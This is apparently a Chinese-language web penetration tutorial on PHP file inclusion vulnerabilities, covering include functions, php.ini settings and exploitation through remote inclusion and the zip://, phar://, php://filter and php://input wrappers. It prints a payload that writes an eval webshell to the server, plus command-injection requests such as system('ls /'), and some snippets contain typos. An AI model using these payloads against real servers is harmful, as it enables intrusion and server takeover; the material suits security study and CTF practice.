web渗透—文件包含

gsupl.落浅~ / 2024-08-07 / 原文

文件包含

一:文件包含介绍

1、原理

原理:通过php函数引入文件时;对传入的文件名没有进行合理的校验;导致可以恶意操作;比如文件泄露;获取webshell

分类

(1)本地包含:通过php包含函数引入服务器端本地文件

(2)远程包含:引入其他服务器的脚本文件

2、文件包含函数

(1)include()

(2)include_once()

(3)require()

(4)require_once()

require 与 include 区别:
include如果包含文件存在错误;会弹出警告;脚本继续执行;
require会终止脚本的执行;once表示不会重复进行包含!

3、文件包含前提

1、phpini中开启包含配置

allow_url_fopen=on//本地包含
allow_url_include=on//远程包含

2、存在可控制包含点

<?php
	$file = $GET['file];
	include($file)
?>
//GET传值: url/?file=1.jpg
//1.ipg内容为phpinfo():文件包含就会将其中的内容当作php代码当作执行

二:文件包含的利用

1、本地文件包含

本地包含传值方式:url/?file=flag.php

2、远程文件包含

//1.php中的代码;创建shell.php;写入一句话木马
//会在服务器目录生成shell.php;文件内容为一句话木马
//访问上传的文件看是否为200;如果是用蚁剑连接拿下webshell
<?php fputs(fopen('shell.php','w'),'<?php @eval(&_POST['cmd'])';?>
远程包含传值方式:http://ip/?file=http://ip/1.php

三:文件包含伪协议

1、常见的伪协议

file:// 访问本地文件系统
http:// 访问Http网址
ftp:// 访问ftp URL
php:// 访问输入输出流
	php://stdin
	php://input
	php://output
	php://filter
zlib://  压缩流
data://
glob://

2、详细介绍

(1)zip phar伪协议

原理:zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。zip://中只能传入绝对路径;
要用#分隔压缩包和压缩包里文件的名称,并且#要用url编码%23;而phar://协议只需要使用/进行分割!

绕过:新建一个webshell.php文件;内容为一句话木马;压缩为webshell.zip;然后上传!直接访问并不能执行zip文件当中的内容;使用zip://或者phar:// 伪协议执行zip文件当中的内容!然后使用webshell工具进行连接就可以拿到服务器的权限!

url/?file=zip://webshell.zip%23webshell
//%23是#;webshell是文件的名称;
//webshell.zip需要使用绝对路径
url/?file=phar://phpinfo.zip路径/webshell

(2)php:filter伪协议

原理:读取php文件当中的内容

image

url/?file=flag.php //无显示
url/?file=php://filter/convert.base64-eocode/resource=flag.php

(3)php://input协议

原理:前提条件是allow_url_include为on;php://input会将post请求的数据当作php代码执行

利用:bp抓包;发送到重发器模块当中;修改为post请求方式;增加<?php system('ls /');?>;点击send;然后php服务器就会执行这个命令!
image

四:文件包含-session会话利用

陆续更新当中!